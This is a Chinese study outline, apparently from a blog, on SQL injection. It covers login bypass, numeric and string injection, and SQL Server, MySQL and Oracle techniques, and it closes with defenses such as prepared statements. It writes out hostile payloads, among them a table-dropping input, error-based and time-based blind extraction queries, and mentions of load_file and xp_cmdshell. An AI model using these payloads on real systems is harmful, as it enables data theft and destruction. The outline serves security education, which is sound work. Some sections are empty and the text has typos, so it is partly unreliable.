SQL注入漏洞

  • SQL注入漏洞
    • SQL注入原理
      • 使用方法
        • 'or 1=1 --'
      • SQL语句的本意为
        • username='账户' and password='密码'
      • 注入之后为
        • username='账户' or 1=1--' and password=''
      • 此时的 password根本起不了任何作用,因为它已经被注释了,而且 username='账户' or 1=1这条语句永远为真,那么最终执行的SQL语句相当于:
        • select count(*) from admin //查询admin表所有的数据条数
      • 返回条数大于0,可以顺利通过验证,登录成功。如在用户名位置输入以下SQL语句
        • 'or 1=1 ; drop table admin --
          • 因为SQL Server支持多语句执行,所以这里可以直接删除 admin表。
    • 注入漏洞分类
      • 绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
      • 数字型注入
        • select * from table where id=8
          • select * from table where id=8 and 1=1
          • select * from table where id=8 and 1=2
          • select * from table where id=8'
          • 如果以上三个步骤全部满足,则程序就可能存在SQL注入漏洞,
        • 强类型的语言很少存在数字型注入漏洞,强类型语言在这方面比弱类型语言有优势。
      • 字符型注入
        • 数字类型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
        • 字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
        • update Person set username='username ' ,set password='password' where id=1
          • 在username或password处插入语句“'+(select @@version)'”,执行语句为
            • update person set username= 'username ' ,set password=''+(select @@version)+ '' where id=1
    • SQL注入分类
      • 常见注入
        • POST注入:注入字段在POST数据中:Cookie注入:注入字段在 Cookie数据中;
        • 延时注入:使用数据库延时特性注入
        • 搜索注入:注入处为搜索的地点;
        • base 64注入:注入字符串需要经过base 64加密;
    • 常见数据库注入
      • SQL Server
        • 获取root用户信息
          • ' having 1=1 --
            • select * from users where username='root' and password='root' having 1=1--'
              • 抛出users.id
            • select * from users where username='root' and password=' root' group by users.id having 1=1--'
              • 抛出users.username
            • 利用having子句“查询”出当前表的所有列名。
        • 利用数据类型错误提取数据
          • 如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常,比如以下SQL语句:
            • select * from users where username='root' and password='root' and 1 > ( select top 1 username from users)
              • 错误信息
                • 在将 varchar 值'root’转换成数据类型int时失败,将root账户体现出
        • 常见表视图

        • Order by语句
          • 攻击者通常会注入Order by语句来判断此表的列数。

        • UNION查询
          • 所有查询中的列数必须相同。
          • 数据类型必须兼容。
            • 联合查询探测字段数

            • 联合查询敏感信息

        • 常用函数
          • select suser _name():返回用户的登录标识名;
          • select user_name():基于指定的标识号返回数据库用户名;
          • select db_name(:返回数据库名称;
          • select is_member('db_owner'):是否为数据库角色;
          • select convert(int,'5'):数据类型转换。
        • 危险的存储过程
          • 攻击者最常使用的存储过程是"xp_cmdshell",这个存储过程允许用户执行操作系统命令。

          • 常见的存储过程

        • 动态执行

      • MySQL
        • MySQL中的注释

          • #:注释从“#”字符到行尾;
          • --:注释从“--”序列到行尾。需要注意的是,使用此注释时,后面需要跟上一个或多个空格:注:空格、tag都可以;
          • /**/:注释从/产序列到后面的*/序列中间的字符。
        • UNION查询
          • 把来自许多SELECT语句的结果组合到一个结果集合中,且每列的数据类型必须相同。
        • MySQL函数利用
          • load_file()函数读文件操作
            • 文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed _packet字节(默认为16 MB,最大为1 GB)。

          • MySQL函数的权限

          • MySQL显错式注入
            • 通过updatexml函数

            • 通过extractvalue函数

            • 通过floor函数

          • 宽字节注入
            • 宽字节注入是由编码不统一所造成的,这种注入一般出现在PHP+MySQL 中。

          • MySQL长字符截断
            • 在MySQL 中的一个设置里有一个 sql_mode选项,当sql_mode 设置为default 时,即没有开启STRICT_ALL_TABLES选项时(MySQL sql_mode默认即default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
              • ①插入正常的SQL语句。
                • mysql> insert into users(id, username , password) values (1, ' admin ' , ' admin ' );Query OK,1 row affected (o.00 sec) //成功插入,无警告,无错误
              • ②插入错误的SQL语句,此时的“admin ”右面有三个空格,长度为8,已经超过了原有的规定长度。
                • mysql> insert into users(id,username, password) values (2, ' admin ' , ' admin ');Query OK,l row affected,1 warning (0.00 sec) //成功插入,一个警告
              • ③插入错误的SQL语句,长度已经超过原有的规定长度。
                • mysql> insert into users(id, username, password) values (3 , ' admin x ', ' admin' ) ;Query OK,1 row affected,l warning (0.oo sec) //成功插入,一个警告
            • 执行后数据库为

            • 第二条与第三条数据的长度为7,也就是列的规定长度,由此可知,在默认情况下,如果数据超出列默认长度,MySQL会将其截断。

            • 漏洞利用

          • 延时注入
            • 盲注的意思即页面无差异的注入
              • 在MySQL中有一个函数:SLEEP(duration),这个函数意思是在 duration参数给定的秒数后运行语句,如下SQL语句:
                • select * from users where id = 1 and sleep(3); /* 3秒后执行sQL语句*/
            • 延时注入思路
              • 查询当前用户,并取得字符串长度。
              • 截取字符串第一个字符,并转换为ASCII 码。
              • 将第一个字符的ASCIH 与ASCI码表对比,如果对比成功将延时3秒。
              • 继续步骤②、③,直至字符串截取完毕。
            • 对应的SQL语句
              • and if( length(user())=0 ,sleep(3) , 1) 循环0,如果出现3秒延时,就可以判断出 user字符串长度,注入时通常会采用半折算法减少判断。
              • and if( hex(mid(user(),1,1))=1 ,sleep(3) , 1) 取出 user字符串的第一个字符,然后与ASCII码循环对比。
              • and if( hex(mid(user(),L,1))=N ,sleep(3), 1) 递归破解第二个ASCII码、第三个ASCII码,直至字符串最后一个字符为止。
      • Oracle
        • 获取元数据
          • user_tablespaces 视图,查看表空间。
            • select tablespace_name from user_tablespaces
          • user_tables视图,查看当前用户的所有表。
            • select table_name from user_tables where rownum = 1
          • user_tab_columns 视图,查看当前用户的所有列,例如:查询users表的所有列。
            • select column_name from user_tab_columns where table_name='users'
          • all_users视图,查看Oracle数据库的所有用户。
            • select username from all_users
          • user_objects 视图,查看当前用户的所有对象(表名称、约束、索引)。
            • select object_name from user_objects
        • UNION查询
          • 获取列的总数
            • Order by 1,Order by 2,Order by 3,Order by n,直到与原始请求返回数据不同。
            • 但在 Oracle 中必须使用:
              • Union select null,null, null…- from dual
              • 此时的dual就是Oracle的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表
          • 获取敏感信息
            • 常见的敏感信息如下。
              • 当前用户权限: select * from session_roles
              • 当前数据库版本: select banner from sys.v_$version where rownum=1
              • 服务器出口IP:用utl_http.request可以实现
              • 服务器监听IP: select utl_inaddr.get_ host_address from dual
              • 服务器操作系统: select member from v$logfile where rownum=1
              • 服务器sid: select instance_name fromv$instance
              • 当前连接用户:select sYs_CONTEXT ('USERENV','CURRENT_USER') from dual
        • Oracle中包的概念
          • Oracle包可以分为两部分,一部分是包的规范,相当于Java 中的接口,另一部分是包体,相当于Java里接口的实现类,实现了具体的操作。
    • 防止SQL注入
      • 数据库只负责执行SQL语句,根据SQL语句来返回相关数据。数据库并没有什么好的办法直接过滤SQL注入,哪怕是存储过程也不例外。了解此点后,我们应该明白防御SQL注入,还是得从代码入手。
      • 严格的数据类型
        • 像PHP、ASP,并没有强制要求处理数据类型,这类语言会根据参数自动推导出数据类型,假设ID=1,则推导ID的数据类型为Integer、ID=str,则推导ID的数据类型为string,这一特点在弱类型语言中是相当不安全的。

      • 特殊字符转义
        • 防止 SQL注入应该在程序中判断字符串是否存在敏感字符,如果存在,则根据相应的数据库进行转义。
      • 使用预编译语句
        • 在Java中,提供了三个接口与数据库交互,分别是Statement、CallableStatement和PreparedStatement。

      • 框架技术
      • 存储过程
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值